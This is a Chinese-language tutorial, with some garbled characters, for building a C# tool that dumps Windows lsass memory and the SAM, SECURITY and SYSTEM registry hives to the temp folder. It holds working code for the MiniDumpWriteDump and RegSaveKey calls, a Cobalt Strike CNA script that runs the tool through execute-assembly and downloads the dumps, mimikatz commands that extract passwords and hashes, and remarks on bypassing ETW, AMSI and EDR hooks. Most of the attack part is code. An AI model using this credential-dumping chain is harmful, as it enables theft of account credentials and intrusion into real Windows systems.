C# dump系統(tǒng)lsass內(nèi)存和sam注冊表詳細
1、檢測權(quán)限
因為dump
系統(tǒng)lsass
內(nèi)存和sam
注冊表需要管理員權(quán)限,所以首先需要對當前進程上下文權(quán)限做判斷。
public static bool IsHighIntegrity() { // returns true if the current process is running with adminstrative privs in a high integrity context var identity = WindowsIdentity.GetCurrent(); var principal = new WindowsPrincipal(identity); return principal.IsInRole(WindowsBuiltInRole.Administrator); }
2、lsass內(nèi)存
MiniDumpWriteDump
是MS DbgHelp.dll
中一個API, 用于導(dǎo)出當前運行的程序的Dump
,利用MiniDumpWriteDump
實現(xiàn)dump lsass內(nèi)存的功能,先加載MiniDumpWriteDump
函數(shù)。
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)] public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
之后調(diào)用函數(shù),并保存dump文件,代碼如下所示:
namespace sharpdump { public class MiniDumper { public static string MiniDump() { Process[] pLsass = Process.GetProcessesByName("lsass"); string dumpFile = Path.Combine(Path.GetTempPath(), string.Format("lsass{0}.dmp", pLsass[0].Id)); if (File.Exists(dumpFile)) File.Delete(dumpFile); Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}", pLsass[0].Id, dumpFile)); using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write)) { bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); if (bRet) { Console.WriteLine("[+] Dump successful!"); return dumpFile; } else { Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode: {0}", Marshal.GetLastWin32Error())); return null; } } } } }
3、實現(xiàn)reg save保存sam注冊表
首先導(dǎo)入需要用到的API。
[DllImport("advapi32.dll", CharSet = CharSet.Auto)] public static extern int RegOpenKeyEx( UIntPtr hKey, string subKey, int ulOptions, int samDesired, out UIntPtr hkResult ); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern int RegSaveKey( UIntPtr hKey, string lpFile, IntPtr lpSecurityAttributes ); [DllImport("advapi32.dll", SetLastError = true)] public static extern int RegCloseKey( UIntPtr hKey );
然后構(gòu)建函數(shù),對"SAM", "SECURITY", "SYSTEM"注冊表進行reg save。
namespace sharpdump { internal class Reg { public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u); public static int KEY_READ = 0x20019; public static int KEY_ALL_ACCESS = 0xF003F; public static int REG_OPTION_OPEN_LINK = 0x0008; public static int REG_OPTION_BACKUP_RESTORE = 0x0004; public static int KEY_QUERY_VALUE = 0x1; public static void ExportRegKey(string key, string outFile) { var hKey = UIntPtr.Zero; try { RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey); //https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa RegSaveKey(hKey, outFile, IntPtr.Zero); RegCloseKey(hKey); Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile); } catch (Exception e) { throw e; } } public static string DumpReg(string key) { try { String addr = key + ".hiv"; addr = Path.Combine(Path.GetTempPath(), addr); ExportRegKey(key, addr); return addr; } catch (Exception e) { Console.WriteLine(e.Message); Console.WriteLine(e.StackTrace); return ""; } } } }
文件會被dump
到temp
目錄下,然后對所有dump
成功的文件進行打包處理,方便下載。完整代碼稍后上傳至知識星球。
4、關(guān)于ExecuteAssembly
ExecuteAssembly
是CS可執(zhí)行組件的一個替代方案,ExecuteAssembly
基于C/C++構(gòu)建,可以幫助廣大研究人員實現(xiàn).NET程序集的加載和注入。
ExecuteAssembly
復(fù)用了主機進程spawnto
來加載CLR模塊/AppDomainManager
,Stomping
加載器/.NET程序集PE DOS頭,并卸載了.NET相關(guān)模塊,以實現(xiàn)ETW+AMSI繞過。除此之外,它還能夠繞過基于NT靜態(tài)系統(tǒng)調(diào)用的EDR鉤子,以及通過動態(tài)解析API(superfasthash
哈希算法)實現(xiàn)隱藏導(dǎo)入。
當前metasploit-framework
和Cobalt Strike
都已經(jīng)實現(xiàn)了ExecuteAssembly
功能,下面主要以Cobalt Strike
為例,實現(xiàn)dump系統(tǒng)lsass內(nèi)存和sam注冊表的功能
5、CS 插件
以結(jié)合 Cobalt Strike
為例,編寫一個簡單的cna
腳本。
popup beacon_bottom { menu "Dumper" { item "SharpDump"{ local('$bid'); foreach $bid ($1){ bexecute_assembly($1, script_resource("Dumper.exe")); } } item "DownloadDump"{ prompt_text("File's address to download", "", lambda({ bdownload(@ids, $1); }, @ids => $1)); } } }
加載腳本后,執(zhí)行SharpDump
,結(jié)果如下所示:
下載存放在temp
目錄下的dump.gz
,然后使用Decompress
解壓,最后使用mimikatz
解密用戶lsass.dmp
和sam
文件
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit lsadump::sam /sam:sam.hiv /system:system.hiv
到此這篇關(guān)于C# dump
系統(tǒng)lsass
內(nèi)存和sam
注冊表詳細的文章就介紹到這了,更多相關(guān)C# dump
系統(tǒng)lsass
內(nèi)存和sam
注冊表內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
C#使用Excel動態(tài)函數(shù)實現(xiàn)生成依賴列表
這篇文章主要為大家詳細介紹了如何在C#中使用?Excel?動態(tài)函數(shù)生成依賴列表,文中的示例代碼講解詳細,感興趣的小伙伴可以跟隨小編一起學習一下2024-02-02

C#將部分Controls數(shù)據(jù)導(dǎo)入對象并存入ini中的操作方法

c#將list類型轉(zhuǎn)換成DataTable方法示例

C#/VB.NET實現(xiàn)將XML轉(zhuǎn)為PDF